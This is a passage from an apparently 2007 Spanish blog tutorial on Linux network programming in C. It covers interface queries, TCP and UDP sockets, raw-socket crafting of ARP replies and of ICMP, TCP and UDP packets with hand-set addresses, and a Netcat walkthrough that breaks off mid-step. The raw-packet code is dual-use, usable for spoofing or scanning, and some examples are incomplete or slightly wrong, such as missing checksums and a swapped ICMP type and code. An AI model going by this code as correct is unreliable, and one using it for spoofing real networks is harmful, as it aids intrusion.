inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
read(3, "", 54)                                  = 54
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
read(3, "", 54)                                  = 54
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
read(3, "", 54)                                  = 54
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.2", 22, "192.168.0.2",
57378) = 47
read(3, "", 54)                                  = 54
ntohs(5632)                                      = 22
inet_ntoa(0xfd92550)                             = "192.168.0.2"
ntohs(8928)                                      = 57378
inet_ntoa(0x214ea8c0)                            = "192.168.0.1"
printf("src: %s:%d\t\tdst: %s:%d \n", "192.168.0.1", 57378, "192.168.0.1",
22) = 49
22 
--- SIGINT (Interrupt) ---
+++ killed by SIGINT +++

Por supuesto también disponemos de la ayuda de programas como gdb, objdump, etc. Todo depende del nivel al que queramos llevar nuestro análisis.

domingo, 6 de mayo de 2007

Interfaz de red en Linux

En el siguiente ejemplo se muestra como acceder a la información de las interfaces de Linux en C:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/time.h>
#include <malloc.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#include <netinet/tcp.h>
#include <net/if.h>
#include <sys/ioctl.h>

#define ETH_P_ARP  0x0806

/* Funcion de utiliadad para pasar una ip en formato u_int32_t a un char* */
char *inetaddr ( u_int32_t ip )
{
struct in_addr in;
in.s_addr = ip;
return inet_ntoa(in);
}

int main ()
{
struct ifreq if_data;
int sockd;
u_int8_t  local_mac[6];
u_int32_t local_ip;
u_int32_t local_netmask;
u_int32_t local_broadcast;
u_int32_t ip;

/* Son necesarios privilegios de root */
if (getuid () != 0)
{
perror ("You must be root. \n");
exit (0);
}

/* Crea el socket */
if ((sockd = socket (AF_INET, SOCK_PACKET, htons (ETH_P_ARP))) < 0)
{
perror("socket");
exit (0);
}

/* Interfaz eth0 */
strcpy (if_data.ifr_name, "eth0");

/* Obtiene la MAC address */
if (ioctl (sockd, SIOCGIFHWADDR, &if_data) < 0)
{
perror ("ioctl(): SIOCGIFHWADDR \n");
exit(EXIT_FAILURE);
}
memcpy (local_mac, if_data.ifr_hwaddr.sa_data, 6);
printf ("MAC: %02X:%02X:%02X:%02X:%02X:%02X\n",
local_mac[0], local_mac[1], local_mac[2],
local_mac[3], local_mac[4], local_mac[5]);

/* Obtiene la IP address */
if (ioctl (sockd, SIOCGIFADDR, &if_data) < 0)
{
perror ("ioctl(); SIOCGIFADDR \n");
exit(EXIT_FAILURE);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_addr.sa_data + 2, 4);
local_ip = ntohl (ip);
printf ("IP: %s\n", inetaddr(ip));

/* Obtiene la mascara de red */
if (ioctl (sockd, SIOCGIFNETMASK, &if_data) < 0)
{
perror ("ioctl(): SIOCGIFNETMASK \n");
exit(EXIT_FAILURE);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_netmask.sa_data + 2, 4);
local_netmask = ntohl (ip);
printf ("NETMASK: %s\n", inetaddr(ip));

/* Obtiene la direccion de broadcast */
if (ioctl (sockd, SIOCGIFBRDADDR, &if_data) < 0)
{
perror ("ioctl(): SIOCGIFBRDADDR \n");
exit(EXIT_FAILURE);
}
memcpy ((void *) &ip, (void *) &if_data.ifr_broadaddr.sa_data + 2, 4);
local_broadcast = ntohl (ip);
printf ("BROADCAST: %s\n", inetaddr(ip));

return (0);
}



Sockets TCP y UDP

A continuación pego dos ejemplos de como usar sockets TCP y UDP.


Cliente TCP:
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include <arpa/inet.h>
#include <netdb.h>
#include <string.h>
#include <stdlib.h>

/*
* Ejemplo de Sockets cliente TCP
*/
int main () 
{

/* Datos de conexion */
char *host = "localhost";
int port = 9999;

/* Cadena a enviar */
char *data = "Cadena de prueba";

/* Obtenemos el host */
struct hostent *host_name;
if ((host_name = gethostbyname(host))==0) 
{
perror ("gethostbyname()");
exit (EXIT_FAILURE);
}

/* Configura el socket */
struct sockaddr_in pin; 
bzero (&pin, sizeof(pin));
pin.sin_family =  AF_INET;
pin.sin_addr.s_addr = htonl(INADDR_ANY);
pin.sin_addr.s_addr = ((struct in_addr *)(host_name->h_addr))->s_addr;
pin.sin_port = htons (port);


/* Crea un socket TCP */
int socket_descriptor = socket (AF_INET, SOCK_STREAM, 0);
if (socket_descriptor == -1) 
{ 
perror ("socket()");
exit (EXIT_FAILURE);
}


/* Conecta con el servidor */
if (connect(socket_descriptor, (void *)&pin, sizeof(pin))==-1) 
{
perror ("connect()");
exit (EXIT_FAILURE);
}

/* Envia los datos al servidor */
if (send(socket_descriptor, data, strlen(data), 0) == -1) 
{
perror ("send()");
exit (EXIT_FAILURE);
}

/* Lee la respuesta */
static char buffer [2048];
if (recv(socket_descriptor, buffer, sizeof(buffer), 0) == -1) {

perror ("recv()");
exit (EXIT_FAILURE);
}

/* Datos recibidos */
printf ("%s\n", buffer);
}







Servidor TCP:


#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>

#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>

#define BUFFER_SIZE 1024

/*
* Ejemplo Socket servidor TCP
*/
int main() 
{

/* Descriptor del socket */
int socket_descriptor;

/* Puerto al que escuchara el servidor */
int port = 9999;


/* Configuracion del socket */
struct sockaddr_in sin; 

/* Crea un socket TCP */
socket_descriptor = socket (AF_INET, SOCK_STREAM, 0);
if (socket_descriptor == -1) 
{
perror("socket()");
exit(EXIT_FAILURE);
}

/* Configura el socket */
bzero (&sin, sizeof(sin));
sin.sin_family =  AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons (port);

/* Une el socket al puerto X */
if (bind(socket_descriptor,(struct sockaddr *)&sin,sizeof(sin)) == -1) 
{ 
perror("bind()");  
exit(EXIT_FAILURE);
}

/* Configura la cola del socket */
if (listen(socket_descriptor, 20) == -1) 
{
perror("listen()");  
exit(EXIT_FAILURE);
}


/* Para obtener la configuracion del socket */
struct sockaddr_in pin;
int address_size;

/* Descriptor del socket temporal */
int temp_socket_descriptor;

/* Buffer de recepcion  */
char buffer[BUFFER_SIZE];

/* Bucle principal de recepcion y envio de paquetes */
while (1) 
{
/* Limpieza del buffer */
memset (buffer, '\0', BUFFER_SIZE);

/* Aceptamos la conexion */
temp_socket_descriptor = 
accept(socket_descriptor,(struct sockaddr*)&pin,&address_size);

if (temp_socket_descriptor == -1) 
{ 
perror("accept()");  
exit(EXIT_FAILURE);
}

/* Recibimos datos */
if (recv(temp_socket_descriptor,buffer,sizeof(buffer),0)==-1) 
{ 
perror("recv()");  
exit(EXIT_FAILURE);
}

printf ("Recibido: %s\n",buffer); 

/* Enviamos datos */
if (send(temp_socket_descriptor, "Recibido\n", 9,0) == -1) 
{ 
perror("send()");  
exit(EXIT_FAILURE);
}

/* Cierre del descriptor de archivo */
close(temp_socket_descriptor);
}
}




Paquetes UDP:

#include <stdio.h>

#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

#include <netinet/ip.h>
#include <netinet/udp.h>


int main(void) 
{
/* socket */
int sock;

/* Tamaño del paquete UDP */
unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct udphdr);

/* Buffer de tamaño suficiente para un paquete UDP */
unsigned char buffer[buffer_size];
memset (buffer, 0, buffer_size);

/* Cabecera IP */
struct iphdr *ip = (struct iphdr *)buffer;

/* Cabecera UDP */
struct udphdr *udp = (struct udphdr *)(buffer + sizeof(struct iphdr));

/* Crea el socket */
if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP)) == -1) 
{ 
perror("socket()"); 
exit(EXIT_FAILURE); 
}

/* Establece las opciones del socket */
int o = 1;
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1) 
{ 
perror("setsockopt()"); 
exit(EXIT_FAILURE); 
}

/* Rellena la cabecera IP */
ip->version = 4;
ip->ihl = 5;
ip->id = htonl(random());
ip->saddr = inet_addr("1.2.3.4");
ip->daddr = inet_addr("1.2.3.4");
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = buffer_size;
ip->check = 0;

/* Rellena la cabecera UDP */
udp->source = htons(1234);
udp->dest = htons(1234);
udp->len = buffer_size;
udp->check = 0; /* falta calcular checksum  */


struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = udp->source;
addr.sin_addr.s_addr = ip->saddr;

/* Envio del paquete */
if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
sizeof(struct sockaddr_in))) == -1) 
{
perror("send()");
exit(1);
}

return 0;
}


Raw Sockets

Todos los lenguajes de programación disponen de una manera más o menos sencilla de realizar conexiones entre un cliente y un servidor. Como mínimo todos ofrecen la posibilidad de utilizar sockets TCP y UDP. Algunos incluso ICMP. Pero cuando deseamos disponer de un acceso total al sistema de red, no hay otro remedio que acceder a la API de red con un lenguaje como C. Este acceso permite cosas como enviar paquetes ICMP, ARP, o cualquier otro totalmente personalizado, modificando cualquier flag o dato de la cabecera. Incluso, si lo deseamos, podemos crear nuestro propio protocolo.

Como primer ejemplo enviaremos un paquete ARP. Este es el formato de las cabeceras ARP y Ethernet:

ETHERNET HEADER:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Ethernet destination address (first 32 bits)           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Ethernet dest (last 16 bits) |Ethernet source (first 16 bits)|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          Ethernet source address (last 32 bits)               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            Type code          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         IP header, then TCP header, then your data            |
|                                                               |
...
|                                                               |
|                       end of your data                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       Ethernet Checksum                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


ARP HEADER:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            Hardware           |         Protocol              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Hw Addr len  |Proto Addr len |         Operation             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                   Source hardware address                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    Source hardware address    |      Source IP address        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    Source IP address          | Destination hardware address  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                  Destination hardware address                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Destination IP address                    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


A continuación un ejemplo de envío de paquete ARP:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>

#include <errno.h>
#include <sys/socket.h>
#include <net/ethernet.h>
#include <net/if_arp.h>
#include <arpa/inet.h>


/* Cabecera ARP */
struct arp_hdr
{
unsigned short int hardware;
unsigned short int protocol;
char hw_addr_len;
char proto_addr_len;
unsigned short operation;
char src_addr[6];
char src_ip[4];
char dst_addr[6];
char dst_ip[4];
};


int main ()
{
/* socket */
int sock;

/* Tama~o del buffer capaz de contener un paquete ARP */
unsigned int buffer_size =
sizeof(struct arp_hdr) + sizeof(struct ether_header);

/* Buffer que contendra el paquete ARP */
unsigned char buffer[buffer_size];
memset(buffer,0,buffer_size);

/* Cabecera ethernet */
struct ether_header *eth = (struct ether_header *)buffer;

/* Cabecera ARP */
struct arp_hdr *arp =
(struct arp_hdr *)(buffer + sizeof(struct ether_header));

/* Direcciones MAC */
char src_mac[] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06};
char dst_mac[] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06};

/* Direcciones IP */
char src_ip[] = {0x01, 0x02, 0x03, 0x04};
char dst_ip[] = {0x01, 0x02, 0x03, 0x04};

/* Dispositivo  */
char dev[5];
strncpy(dev, "eth0", 5);

/* Creacion del socket */
if ((sock = socket(AF_INET,SOCK_PACKET,htons(ETH_P_ARP)))==-1)
{
perror("socket()");
exit(EXIT_FAILURE);
}

/* Rellena la cabecera ethernet */
memcpy(eth->ether_dhost,dst_mac,ETHER_ADDR_LEN);
memcpy(eth->ether_shost,src_mac,ETHER_ADDR_LEN);
eth->ether_type = htons(ETHERTYPE_ARP);

/* Rellena la cabecera ARP */
arp->hardware = htons(ARPHRD_ETHER);
arp->protocol = htons(ETH_P_IP);
arp->hw_addr_len = 6; 
arp->proto_addr_len = 4;
arp->operation = htons(ARPOP_REPLY);
memcpy(arp->src_addr, src_mac,6);
memcpy(arp->src_ip, src_ip, 4);
memcpy(arp->dst_addr, dst_mac, 6);
memcpy(arp->dst_ip, dst_ip, 4);

/* Dispositivo utilizado "eth0" */
struct sockaddr addr;
strncpy(addr.sa_data, dev, sizeof(addr.sa_data));

/* Envio del paquete ARP */
if ((sendto(sock, buffer, buffer_size, 0,
&addr, sizeof(struct sockaddr)))==-1)
{
perror("sendto()");
exit(EXIT_FAILURE);
}

return 0;
}

De forma similar a la anterior podemos enviar un paquete ICMP. Estas son las
cabeceras utilizadas:

IP HEADER:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Identification         |Flags|    Fragment Offset      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |        Header Checksum        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Source Address                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Destination Address                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                TCP header, then your data ......              |
|                                                               |

ICMP HEADER:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |    Code   |               Checksum            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+


Y el ejemplo:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>

#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>


int main(void)
{
/* socket */
int sock;

/* Longitud de un paquete ICMP */
unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct icmphdr);

/* Paquete capaz con capacidad para un paquete ICMP */
unsigned char buffer[buffer_size];
memset(buffer, 0, buffer_size);

/* Cabecera IP */
struct iphdr *ip = (struct iphdr *)buffer;

/* Cabecera ICMP */
struct icmphdr *icmp = (struct icmphdr *)(buffer + sizeof(struct iphdr));


/* Creacion del socket */
if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP)) == -1)
{
perror("socket()");
exit(EXIT_FAILURE);
}

/* Establece las opciones del socket */
int o = 1;
if( setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1 )
{
perror("setsockopt()");
exit(EXIT_FAILURE);
}

/* Rellena la cabecera IP */
ip->version = 4;
ip->ihl = 5;
ip->id = htonl(random());
ip->saddr = inet_addr("1.2.3.4");
ip->daddr = inet_addr("1.2.3.4");
ip->ttl = 255;
ip->protocol = IPPROTO_ICMP;
ip->tot_len = buffer_size;
ip->check = 0;

/* Rellena la cabecera ICMP */
icmp->type = 0;
icmp->code = ICMP_ECHO;
icmp->checksum = 0;

/* Rellena la estructura sockaddr_in */
struct sockaddr_in addr;
addr.sin_family = AF_INET;

/* Envio del paquete */
if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
sizeof(struct sockaddr_in))) == -1 )
{
perror("send()");
exit(EXIT_FAILURE);
}

return 0;
}



En algunos casos puede ser interesante enviar paquetes TCP de uno en uno.
Por ejemplo en escaneos. Las cabeceras utilizadas en este caso son:

IP HEADER:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Identification         |Flags|    Fragment Offset      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |        Header Checksum        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Source Address                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Destination Address                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                TCP header, then your data ......              |
|                                                               |

TCP HEADER:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Source Port           |      Destination Port         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Sequence Number                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                     Acknowledgment Number                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data  |           |U|A|P|R|S|F|                               |
| Offset| Reserved  |R|C|S|S|Y|I|             Window            |
|       |           |G|K|H|T|N|N|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             Checksum          |          Urgent Pointer       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                 your data ... next 500 octets                 |
|                            ......                             |


Un ejemplo es el siguiente.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>

#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>


int main(void)
{
/* socket */
int sock;

/* Tama~o del paquete TCP */
unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct tcphdr);

/* Buffer de tama~o suficiente para un paquete TCP */
unsigned char buffer[buffer_size];
memset (buffer,0,buffer_size);

/* Cabecera IP */
struct iphdr *ip = (struct iphdr *)buffer;

/* Cabecera TCP */
struct tcphdr *tcp = (struct tcphdr *)(buffer + sizeof(struct iphdr));

/* Crea el socket */
if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1)
{
perror("socket()");
exit(EXIT_FAILURE);
}

/* Establece las opciones del socket */
int o = 1;
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1)
{
perror("setsockopt()");
exit(EXIT_FAILURE);
}

/* Rellena la cabecera IP */
ip->version = 4;
ip->ihl = 5;
ip->id = htonl(random());
ip->saddr = inet_addr("1.2.3.4");
ip->daddr = inet_addr("1.2.3.4");
ip->ttl = 255;
ip->protocol = IPPROTO_TCP;
ip->tot_len = buffer_size;
ip->check = 0;  /* falta calcular checksum  */

/* Rellena la cabecera TCP */
tcp->source = htons(1234);
tcp->dest = htons(1234);
tcp->seq = htonl(999999999);
tcp->ack_seq = htonl(999999999);
tcp->ack = 1;
tcp->syn = 1;
tcp->window = htons(2048);
tcp->check = 0; /* falta calcular checksum  */


struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = tcp->source;
addr.sin_addr.s_addr = ip->saddr;

/* Envio del paquete */
if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
sizeof(struct sockaddr_in))) == -1)
{
perror("send");
exit(1);
}

return 0;
}


Finalmente un ejemplo de UDP para completar los protocolos más utilzados. Utilizaremos las siguientes cabeceras:

IP HEADER:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version|  IHL  |Type of Service|          Total Length         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        Identification         |Flags|    Fragment Offset      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  Time to Live |    Protocol   |        Header Checksum        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                        Source Address                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      Destination Address                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                TCP header, then your data ......              |
|                                                               |

UDP HEADER:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         Source Port           |      Destination Port         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         length                |      Checksum                 |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                                               |


Y nuestro último ejemplo:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>

#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>


int main(void)
{
/* socket */
int sock;

/* Tama~o del paquete UDP */
unsigned int buffer_size = sizeof(struct iphdr) + sizeof(struct udphdr);

/* Buffer de tama~o suficiente para un paquete UDP */
unsigned char buffer[buffer_size];
memset (buffer, 0, buffer_size);

/* Cabecera IP */
struct iphdr *ip = (struct iphdr *)buffer;

/* Cabecera UDP */
struct udphdr *udp = (struct udphdr *)(buffer + sizeof(struct iphdr));

/* Crea el socket */
if ((sock = socket(AF_INET,SOCK_RAW,IPPROTO_UDP)) == -1)
{
perror("socket()");
exit(EXIT_FAILURE);
}

/* Establece las opciones del socket */
int o = 1;
if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&o,sizeof(o)) == -1)
{
perror("setsockopt()");
exit(EXIT_FAILURE);
}

/* Rellena la cabecera IP */
ip->version = 4;
ip->ihl = 5;
ip->id = htonl(random());
ip->saddr = inet_addr("1.2.3.4");
ip->daddr = inet_addr("1.2.3.4");
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = buffer_size;
ip->check = 0;

/* Rellena la cabecera UDP */
udp->source = htons(1234);
udp->dest = htons(1234);
udp->len = buffer_size;
udp->check = 0; /* falta calcular checksum  */


struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = udp->source;
addr.sin_addr.s_addr = ip->saddr;

/* Envio del paquete */
if ((sendto(sock, buffer, buffer_size, 0, (struct sockaddr*)&addr,
sizeof(struct sockaddr_in))) == -1)
{
perror("send()");
exit(1);
}

return 0;
}

GNU Netcat

Netcat es una herramienta de Unix utilizada para leer y escribir a través de conexiones de red mediante los protocolos TCP y UDP. GNU Netcat dispone de tres funcionalidades principales: modo conexión, modo escucha y modo tunel. A lo largo de este post se describen los tres modos.


Netcat fue desarrollado inicialmente por Hobbit, aunque actualmente se ha convertido en un proyecto open source basado en licencia GPL que reside en
netcat.sourceforge.net.



La instalación de Netcat es la típica de las herramientas Unix:


$ tar xvfz netcat-0.7.0.tar.gz
$ cd netcat-0.7.0
$ ./configure
$ make
$ make install


Una vez instalado, el parámetro -V, muestra la versión de netcat:


$ nc -V
netcat (The GNU Netcat) 0.7.0
Copyright (C) 2002 - 2003  Giovanni Giacobbi

This program comes with NO WARRANTY, to the extent permitted by law.
You may redistribute copies of this program under the terms of
the GNU General Public License.
For more information about these matters, see the file named COPYING.

Original idea and design by Avian Research ,
Written by Giovanni Giacobbi .


Con el parámetro -h obtenemos un listado con las opciones disponibles:


$ nc -h
GNU netcat 0.7.0, a rewrite of the famous networking tool.
Basic usages:
connect to somewhere:  netcat [options] hostname port [port] ...
listen for inbound:    netcat -l -p port [options] [hostname] [port] ...
tunnel to somewhere:   netcat -L hostname:port -p port [options]

Mandatory arguments to long options are mandatory for short options too.
Options:
-c, --close                close connection on EOF from stdin
-e, --exec=PROGRAM         program to exec after connect
-g, --gateway=LIST         source-routing hop point[s], up to 8
-G, --pointer=NUM          source-routing pointer: 4, 8, 12, ...
-h, --help                 display this help and exit
-i, --interval=SECS        delay interval for lines sent, ports scanned
-l, --listen               listen mode, for inbound connects
-L, --tunnel=ADDRESS:PORT  forward local port to remote address
-n, --dont-resolve         numeric-only IP addresses, no DNS
-o, --output=FILE          output hexdump traffic to FILE (implies -x)
-p, --local-port=NUM       local port number
-r, --randomize            randomize local and remote ports
-s, --source=ADDRESS       local source address (ip or hostname)
-t, --tcp                  TCP mode (default)
-T, --telnet               answer using TELNET negotiation
-u, --udp                  UDP mode
-v, --verbose              verbose (use twice to be more verbose)
-V, --version              output version information and exit
-x, --hexdump              hexdump incoming and outgoing traffic
-w, --wait=SECS            timeout for connects and final net reads
-z, --zero                 zero-I/O mode (used for scanning)

Remote port number can also be specified as range.  Example: '1-1024'

Netcat en modo conexión
El modo conexión de netcat es el más sencillo de los existentes. Se comporta de una forma similar a telnet, aunque es una herramienta mucho más avanzada. Por ejemplo, para realizar una conexión TCP (conexión por defecto) pasaremos como parámetro el nombre del host y el puerto:

$ nc localhost 22
SSH-1.99-OpenSSH_3.6.1p2


si deseamos que netcat se comporte como telnet añadiremos la opción -T:


nc -T localhost 23
Fedora Core release 1 (Yarrow)
Kernel 2.4.22-1.2135.nptl on an i686
login:


Añadiendo la opción -x, netcat ofrece la salida en hexadecimal:

$ nc -x localhost 22
SSH-1.99-OpenSSH_3.6.1p2
Received 25 bytes from the socket
00000000  53 53 48 2D  31 2E 39 39  2D 4F 70 65  6E 53 53 48  SSH-1.99-OpenSSH
00000010  5F 33 2E 36  2E 31 70 32  0A                        _3.6.1p2.


Otra opción que puede resultar interesante es -v (verbose) o -v -v que oferce cierta información sobre la conexión:
$ nc -v localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-1.99-OpenSSH_3.6.1p2

$ nc -v -v localhost 22
Notice: Real hostname for localhost [127.0.0.1] is NEPTUNO
localhost [127.0.0.1] 22 (ssh) open
SSH-1.99-OpenSSH_3.6.1p2


Netcat trabaja con dos protocolos: TCP y UDP. El parámetro utilizado para las conexiones TCP es -t, aunque no es necesario, dado que esta es la opción por defecto. Para realizar conexiones UDP, puede utilizar el parámetro -u. Por ejemplo, enviar datos a un host + puerto UDP es tan sencillo como:

$ echo "datos enviados" | nc -u localhost 1234


Por ejemplo, realize la siguiente prueba: Abra tres terminales y escriba en el primero:

nc -u -l localhost -p 1234

(Este comando mantine a netcat a la escucha en un puerto udp, se estudiará con detalle en el siguiente apartado)



En el segundo:

$ /usr/sbin/tcpdump -s 0 -xX udp -i lo
tcpdump: listening on lo


y en el tercero:

